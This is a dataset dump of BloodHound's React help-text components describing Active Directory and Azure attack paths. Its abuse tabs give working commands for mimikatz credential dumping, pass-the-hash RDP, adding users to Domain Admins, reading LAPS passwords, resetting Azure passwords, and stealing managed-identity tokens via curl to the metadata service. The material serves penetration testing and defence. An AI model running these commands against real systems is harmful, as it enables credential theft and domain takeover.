text stringlengths 9 39.2M | dir stringlengths 26 295 | lang stringclasses 185
values | created_date timestamp[us] | updated_date timestamp[us] | repo_name stringlengths 1 97 | repo_full_name stringlengths 7 106 | star int64 1k 183k | len_tokens int64 1 13.8M |
|---|---|---|---|---|---|---|---|---|
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<h4>Password Theft</h4>
<p>
When a user has a session on the computer, you may be able to
obtain credentials for the user via credential dumping or token
impersonation. You must be able to move laterally to the
computer, have administrative access on the computer, and the
user must have a non-network logon session on the computer.
</p>
<p>
Once you have established a Cobalt Strike Beacon, Empire agent,
or other implant on the target, you can use mimikatz to dump
credentials of the user that has a session on the computer.
While running in a high integrity process with SeDebugPrivilege,
execute one or more of mimikatz's credential gathering
techniques (e.g.: sekurlsa::wdigest, sekurlsa::logonpasswords,
etc.), then parse or investigate the output to find clear-text
credentials for other users logged onto the system.
</p>
<p>
You may also gather credentials when a user types them or copies
them to their clipboard! Several keylogging capabilities exist,
several agents and toolsets have them built-in. For instance,
you may use meterpreter's "keyscan_start" command to start
keylogging a user, then "keyscan_dump" to return the captured
keystrokes. Or, you may use PowerSploit's
Invoke-ClipboardMonitor to periodically gather the contents of
the user's clipboard.
</p>
<h4>Token Impersonation</h4>
<p>
You may run into a situation where a user is logged onto the
system, but you can't gather that user's credential. This may be
caused by a host-based security product, lsass protection, etc.
In those circumstances, you may abuse Windows' token model in
several ways. First, you may inject your agent into that user's
process, which will give you a process token as that user, which
you can then use to authenticate to other systems on the
network. Or, you may steal a process token from a remote process
and start a thread in your agent's process with that user's
token. For more information about token abuses, see the
References tab.
</p>
<p>
User sessions can be short lived and only represent the sessions
that were present at the time of collection. A user may have
ended their session by the time you move to the computer to
target them. However, users tend to use the same machines, such
as the workstations or servers they are assigned to use for
their job duties, so it can be valuable to check multiple times
if a user session has started.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/HasSession/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 632 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
You can use BARK's Invoke-AzureRMAKSRunCommand function
to execute commands on compute nodes associated with the
target AKS Managed Cluster.
</p>
<p>
This function requires you to supply an Azure Resource Manager
scoped JWT associated with the principal that has the privilege
to execute commands on the cluster. There are several ways to
acquire a JWT. For example, you may use BARK's
Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT
by supplying a refresh token:
</p>
<pre>
<code>
{
'$ARMToken = Get-ARMTokenWithRefreshToken `\n' +
' -RefreshToken "0.ARwA6WgJJ9X2qk" `\n' +
' -TenantID "contoso.onmicrosoft.com"'
}
</code>
</pre>
<p>
Now you can use BARK's Invoke-AzureRMAKSRunCommand function
to execute a command against the target AKS Managed Cluster.
For example, to run a simple "whoami" command:
</p>
<pre>
<code>
{
'Invoke-AzureRMAKSRunCommand `\n' +
' -Token $ARMToken `\n' +
' -TargetAKSId "/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourcegroups/AKS_ResourceGroup/providers/Microsoft.ContainerService/managedClusters/mykubernetescluster" `\n' +
' -Command "whoami"'
}
</code>
</pre>
<p>
If the AKS Cluster or its associated Virtual Machine Scale Sets
have managed identity assignments, you can use BARK's
Invoke-AzureRMAKSRunCommand function to retrieve a JWT for the
managed identity Service Principal like this:
</p>
<pre>
<code>
{
'Invoke-AzureRMAKSRunCommand `\n' +
' -Token $ARMToken `\n' +
' -TargetAKSId "/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourcegroups/AKS_ResourceGroup/providers/Microsoft.ContainerService/managedClusters/mykubernetescluster" `\n' +
' -Command \'curl -i -H "Metadata: true" "path_to_url"\''
}
</code>
</pre>
<p>
If successful, the output will include a JWT for the managed identity
service principal.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAKSContributor/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 598 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
This indicates that the parent object contains the child object,
such as a resource group containing a virtual machine, or a tenant
"containing" a subscription.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZContains/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 66 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<p>
There is no abuse necessary, but any roles scoped on a parent object
will descend down to all child objects.
</p>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZContains/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 56 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZContains = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />{' '}
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZContains.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZContains;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZContains/AZContains.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 226 |
```jsx
import React from 'react';
const References = () => {
return (<></>)
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZContains/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 23 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<p>
This depends on what you do, see other edges as far as opsec
considerations for activating roles
</p>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZContains/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 56 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const CanRDP = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
CanRDP.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default CanRDP;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/CanRDP/CanRDP.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 271 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} the capability to
create a Remote Desktop Connection with the computer{' '}
{targetName}.
</p>
<p>
Remote Desktop access allows you to enter an interactive session
with the target computer. If authenticating as a low privilege
user, a privilege escalation may allow you to gain high
privileges on the system.
</p>
<p>Note: This edge does not guarantee privileged execution.</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/CanRDP/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 186 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
If the target computer is a workstation and a user is currently
logged on, one of two things will happen. If the user you are
abusing is the same user as the one logged on, you will
effectively take over their session and kick the logged on user
off, resulting in a message to the user. If the users are
different, you will be prompted to kick the currently logged on
user off the system and log on. If the target computer is a
server, you will be able to initiate the connection without
issue provided the user you are abusing is not currently logged
in.
</p>
<p>
Remote desktop will create Logon and Logoff events with the
access type RemoteInteractive.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/CanRDP/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 199 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const Abuse = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
Abuse of this privilege will depend heavily on the type of
access you have.
</p>
<h4>PlainText Credentials with Interactive Access</h4>
<p>
With plaintext credentials, the easiest way to exploit this
privilege is using the built in Windows Remote Desktop Client
(mstsc.exe). Open mstsc.exe and input the computer {targetName}.
When prompted for credentials, input the credentials for{' '}
{sourceType === 'Group'
? `a member of ${sourceName}`
: `${sourceName}`}{' '}
to initiate the remote desktop connection.
</p>
<h4>Password Hash with Interactive Access</h4>
<p>
With a password hash, exploitation of this privilege will
require local administrator privileges on a system, and the
remote server must allow Restricted Admin Mode.
</p>
<p>
First, inject the NTLM credential for the user you're abusing
into memory using mimikatz:
</p>
<pre>
<code>
{
'lsadump::pth /user:dfm /domain:testlab.local /ntlm:<ntlm hash> /run:"mstsc.exe /restrictedadmin"'
}
</code>
</pre>
<p>
This will open a new RDP window. Input the computer {targetName}{' '}
to initiate the remote desktop connection. If the target server
does not support Restricted Admin Mode, the session will fail.
</p>
<h4>Plaintext Credentials without Interactive Access</h4>
<p>
This method will require some method of proxying traffic into
the network, such as the socks command in cobaltstrike, or
direct internet connection to the target network, as well as the
xfreerdp (suggested because of support of Network Level
Authentication (NLA)) tool, which can be installed from the
freerdp-x11 package. If using socks, ensure that proxychains is
configured properly. Initiate the remote desktop connection with
the following command:
</p>
<pre>
<code>
{
'(proxychains) xfreerdp /u:dfm /d:testlab.local /v:<computer ip>'
}
</code>
</pre>
<p>
xfreerdp will prompt you for a password, and then initiate the
remote desktop connection.
</p>
<h4>Password Hash without Interactive Access</h4>
<p>
This method will require some method of proxying traffic into
the network, such as the socks command in cobaltstrike, or
direct internet connection to the target network, as well as the
xfreerdp (suggested because of support of Network Level
Authentication (NLA)) tool, which can be installed from the
freerdp-x11 package. Additionally, the target computer must
allow Restricted Admin Mode. If using socks, ensure that
proxychains is configured properly. Initiate the remote desktop
connection with the following command:
</p>
<pre>
<code>
{
'(proxychains) xfreerdp /pth:<ntlm hash> /u:dfm /d:testlab.local /v:<computer ip>'
}
</code>
</pre>
<p>
This will initiate the remote desktop connection, and will fail
if Restricted Admin Mode is not enabled.
</p>
</>
);
};
Abuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/CanRDP/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 836 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} the ability to add{' '}
{sourceType === 'Group' ? 'themselves' : 'itself'}, to the group{' '}
{targetName}. Because of security group delegation, the members
of a security group have the same privileges as that group.
</p>
<p>
By adding itself to the group, {sourceName} will gain the same
privileges that {targetName} already has.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddSelf/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 190 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const WindowsAbuse = ({ sourceName, sourceType }) => {
return (
<>
<p>
There are at least two ways to execute this attack. The first
and most obvious is by using the built-in net.exe binary in
Windows (e.g.: net group "Domain Admins" dfm.a /add /domain).
See the opsec considerations tab for why this may be a bad idea.
The second, and highly recommended method, is by using the
Add-DomainGroupMember function in PowerView. This function is
superior to using the net.exe binary in several ways. For
instance, you can supply alternate credentials, instead of
needing to run a process as or logon as the user with the
AddMember privilege. Additionally, you have much safer execution
options than you do with spawning net.exe (see the opsec tab).
</p>
<p>
To abuse this privilege with PowerView's Add-DomainGroupMember,
first import PowerView into your agent session or into a
PowerShell instance at the console.{' '}
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainGroupMember, first
create a PSCredential object (these examples comes from the
PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainGroupMember, optionally specifying $Cred if
you are not already running a process as {sourceName}:
</p>
<pre>
<code>
{
"Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred"
}
</code>
</pre>
<p>
Finally, verify that the user was successfully added to the
group with PowerView's Get-DomainGroupMember:
</p>
<pre>
<code>{"Get-DomainGroupMember -Identity 'Domain Admins'"}</code>
</pre>
</>
);
};
WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
};
export default WindowsAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddSelf/WindowsAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 602 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
const AddSelf = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={2} title='Windows Abuse'>
<WindowsAbuse sourceName={sourceName} sourceType={sourceType} />
</Tab>
<Tab eventKey={3} title='Linux Abuse'>
<LinuxAbuse sourceName={sourceName} sourceType={sourceType} />
</Tab>
<Tab eventKey={4} title='Opsec'>
<Opsec />
</Tab>
<Tab eventKey={5} title='Refs'>
<References />
</Tab>
</Tabs>
);
};
AddSelf.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AddSelf;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddSelf/AddSelf.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 303 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url#bloodhound-edges'>
path_to_url#bloodhound-edges
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AddSelf/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 143 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
This edge indicates the principal has the Privileged Authentication Administrator
role active against the target tenant. Principals with this role can update
sensitive properties for all users. Privileged Authentication Administrator can
set or reset any authentication method (including passwords) for any user,
including Global Administrators.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZPrivilegedAuthAdmin/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 94 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZPrivilegedAuthAdmin = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZPrivilegedAuthAdmin.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZPrivilegedAuthAdmin;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZPrivilegedAuthAdmin/AZPrivilegedAuthAdmin.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 238 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
ATT&CK T1098: Account Manipulation
</a>
<br />
<a href='path_to_url
Andy Robbins - Azure Privilege Escalation via Service Principal
Abuse
</a>
<br />
<a href='path_to_url#set-azureuserpassword'>
PowerZure Set-AzureUserPassword
</a>
<br />
<a href='path_to_url#privileged-authentication-administrator'>
Microsoft Azure AD roles
</a>
<br />
<a href='path_to_url
Assign Azure AD roles at different scopes
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZPrivilegedAuthAdmin/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 175 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
When you create a new secret for an App or Service Principal,
Azure creates an event called Update application Certificates
and secrets management. This event describes who added the secret
to which application or service principal.
</p>
<p>
When resetting a users password and letting Azure
set a new random password, Azure will log two events:
</p>
<p>
Reset user password and Reset password (by admin).
These logs describe who performed the password reset,
against which user, and at what time.
</p>
<p>
When setting a specified new password for the user,
Azure will log two events:
</p>
<p>
Reset user password and Update user. The first log
will describe who changed the targets password and when.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZPrivilegedAuthAdmin/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 211 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat } from '../Formatter';
const General = ({sourceName, sourceType, targetName, targetType}) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} the ability to
synchronize the password set by Local Administrator Password
Solution (LAPS) on the computer {targetName}.
</p>
<p>
The local administrator password for a computer managed by LAPS
is stored in the confidential and Read-Only Domain Controller
(RODC) filtered LDAP attribute <code>ms-mcs-AdmPwd</code>.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/SyncLAPSPassword/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 182 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const SyncLAPSPassword = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab
eventKey={1}
title='Info'
>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
/>
</Tab>
<Tab
eventKey={2}
title='Abuse Info'
>
<Abuse sourceName={sourceName} sourceType={sourceType} targetName={targetName} />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
SyncLAPSPassword.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default SyncLAPSPassword;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/SyncLAPSPassword/SyncLAPSPassword.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 293 |
```jsx
import React from 'react';
import {groupSpecialFormat} from "../Formatter";
const Abuse = ({sourceName, sourceType, targetName, targetType}) => {
return (
<>
<p>
To abuse this privilege with DirSync, first import DirSync into your agent session or into a PowerShell instance at the console. You must authenticate to the Domain Controller as {groupSpecialFormat(sourceType, sourceName)}. Then, execute the <code>Sync-LAPS</code> function:
</p>
<pre>
<code>
Sync-LAPS -LDAPFilter "(samaccountname={targetName})"
</code>
</pre>
<p>
You can target a specific domain controller using the <code>-Server</code> parameter.
</p>
</>
)
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/SyncLAPSPassword/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 178 |
```jsx
import React from 'react';
const References = () => {
return(
<>
<a href="path_to_url">path_to_url
<br />
<a href="path_to_url">path_to_url
</>
)
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/SyncLAPSPassword/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 57 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
Executing the attack will generate a 4662 (An operation was performed on an object) event at the domain controller if an appropriate SACL is in place on the target object.
</p>
</>
)
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/SyncLAPSPassword/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 75 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<h3>Set secret for Service Principal (AZAddSecret abuse info)</h3>
<p>
There are several ways to perform this abuse, depending on what
sort of access you have to the credentials of the object that
holds this privilege against the target object. If you have an
interactive web browser session for the Azure portal, it is as
simple as finding the target App in the portal and adding a new
secret to the object using the Certificates & secrets tab.
Service Principals do not have this tab in the Azure portal but
you can add secrets to them with the MS Graph API.
</p>
<p>
No matter what kind of control you have, you will be able to
perform this abuse by using BARKs New-AppRegSecret or
New-ServicePrincipalSecret functions.
</p>
<p>
These functions require you to supply an MS Graph-scoped JWT
associated with the principal that has the privilege to add a
new secret to your target application. There are several ways to
acquire a JWT. For example, you may use BARKs
Get-GraphTokenWithRefreshToken to acquire an MS Graph-scoped JWT
by supplying a refresh token:
<pre>
<code>
$MGToken = Get-GraphTokenWithRefreshToken -RefreshToken
"0.ARwA6WgJJ9X2qk" -TenantID "contoso.onmicrosoft.com"
</code>
</pre>
</p>
<p>
Then use BARKs New-AppRegSecret to add a new secret to the
target application:
<pre>
<code>
New-AppRegSecret -AppRegObjectID "d878" -Token
$MGToken.access_token
</code>
</pre>
</p>
<p>
The output will contain the plain-text secret you just created
for the target app:
<pre>
<code>
PS /Users/andyrobbins> New-AppRegSecret -AppRegObjectID
"d878" -Token $MGToken.access_token Name Value ----
----- AppRegSecretValue odg8Q~... AppRegAppId 4d31
AppRegObjectId d878
</code>
</pre>
</p>
<p>
With this plain text secret, you can now acquire tokens as the
service principal associated with the app. You can easily do
this with BARKs Get-MSGraphToken function:
<pre>
<code>
PS /Users/andyrobbins> $SPToken = Get-MSGraphToken
`-ClientID "4d31" `-ClientSecret "odg8Q~..."
`-TenantName "contoso.onmicrosoft.com" PS
/Users/andyrobbins> $SPToken.access_token
eyJ0eXAiOiJKV1QiLCJub
</code>
</pre>
</p>
<p>
Now you can use this JWT to perform actions against any other MS
Graph endpoint as the service principal, continuing your attack
path with the privileges of that service principal.
</p>
<h3>Reset password of user (AZResetPassword abuse info)</h3>
<p>
There are several options for executing this attack. What will
work best for you depends on a few factors, including which type
of credential you possess for the principal with the password
reset privilege against the target, whether that principal is
affected by MFA requirements, and whether the principal is affected
by conditional access policies.
</p>
<p>
The most simple way to execute this attack is to log into the Azure
Portal at portal.azure.com as the principal with the password reset
privilege, locate the target user in the Portal, and click "Reset
Password" on the target users overview tab.
</p>
<p>
You can also execute this attack with the official Microsoft
PowerShell module, using Set-AzureADUserPassword, or PowerZures
Set-AzureUserPassword cmdlet.
</p>
<p>
In some situations, you may only have access to your compromised
principals JWT, and not its password or other credential material.
For example, you may have stolen a JWT for a service principal from
an Azure Logic App, or you may have stolen a users JWT from Chrome.
</p>
<p>
There are at least two ways to reset a users password when using a
token, depending on the scope of the token and the type of identity
associated with the token:
</p>
<h4>Using an MS Graph-scoped token</h4>
<p>
If your token is associated with a Service Principal or User, you may
set the targets password to a known value by hitting the MS Graph API.
</p>
<p>
You can use BARKs Set-AZUserPassword cmdlet to do this. First, we need
to either already have or create an MS Graph-scoped JWT for the user or
service principal with the ability to reset the target users password:
</p>
<pre>
<code>
$MGToken = (Get-MSGraphTokenWithClientCredentials -ClientID "<service principals app id>" -ClientSecret "<service principals plain text secret>" -TenantName "contoso.onmicrosoft.com").access_token
</code>
</pre>
<p>
Then we supply this token, our target users ID, and the new password to
the Set-AZUserPassword cmdlet:
</p>
<pre>
<code>
Set-AZUserPassword -Token $MGToken -TargetUserID "d9644c..." -Password "SuperSafePassword12345"
</code>
</pre>
<p>
If successful, the output will include a "204" status code:
<pre>
<code>
StatusCode : 204
StatusDescription : NoContent
Content : {}
RawContent : HTTP/1.1 204 NoContent
Cache-Control: no-cache
Strict-Transport-Security: max-age=31536000
request-id: 94243...
client-request-id: 94243...
x-ms
Headers : {[Cache-Control, System.String[]], [Strict-Transport-Security, System.String[]], [request-id, System.String[]], [client-request-id, System.String[]]}
RawContentLength : 0
RelationLink : {}
</code>
</pre>
</p>
<h4>Using an Azure Portal-scoped token</h4>
<p>
You may have or be able to acquire an Azure Portal-scoped JWT
for the user with password reset rights against your target user.
In this instance, you can reset the users password, letting Azure
generate a new random password for the user instead of you
supplying one. For this, you can use BARKs Reset-AZUserPassword
cmdlet.
</p>
<p>
You may already have the Azure Portal-scoped JWT, or you may acquire
one through various means. For example, you can use a refresh token
to acquire a Portal-scoped JWT by using BARKs
Get-AzurePortalTokenWithRefreshToken cmdlet:
</p>
<pre>
<code>
$PortalToken = Get-AzurePortalTokenWithRefreshToken -RefreshToken $RefreshToken -TenantID "contoso.onmicrosoft.com"
</code>
</pre>
<p>
Now you can supply the Portal token to BARKs Reset-AZUserPassword
cmdlet:
</p>
<pre>
<code>
Reset-AZUserPassword -Token $PortalToken.access_token -TargetUserID "targetuser@contoso.onmicrosoft.com"
</code>
</pre>
<p>
If successful, the response will look like this:
</p>
<pre>
<code>
StatusCode : 200
StatusDescription : OK
Content : "Gafu1918"
RawContent : HTTP/1.1 200 OK
Cache-Control: no-store
Set-Cookie: browserId=d738e8ac-3b7d-4f35-92a8-14635b8a942b; domain=main.iam.ad.ext.azure.com; path=/; secure; HttpOnly; SameSite=None
X-Content-Type-Options: no
Headers : {[Cache-Control, System.String[]], [Set-Cookie, System.String[]], [X-Content-Type-Options, System.String[]], [X-XSS-Protection, System.String[]]}
Images : {}
InputFields : {}
Links : {}
RawContentLength : 10
RelationLink : {}
</code>
</pre>
<p>
As you can see, the plain-text value of the users password is visible in the "Content" parameter value.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZPrivilegedAuthAdmin/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 2,139 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const WindowsAbuse = ({ sourceName, sourceType }) => {
return (
<>
<p>
To abuse this privilege with PowerView's Get-DomainObject, first
import PowerView into your agent session or into a PowerShell
instance at the console. You may need to authenticate to the
Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Get-DomainObject, first create
a PSCredential object (these examples comes from the PowerView
help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Get-DomainObject, optionally specifying $Cred if you
are not already running a process as {sourceName}:
</p>
<pre>
<code>
{
'Get-DomainObject windows1 -Credential $Cred -Properties "ms-mcs-AdmPwd",name'
}
</code>
</pre>
</>
);
};
WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
};
export default WindowsAbuse;
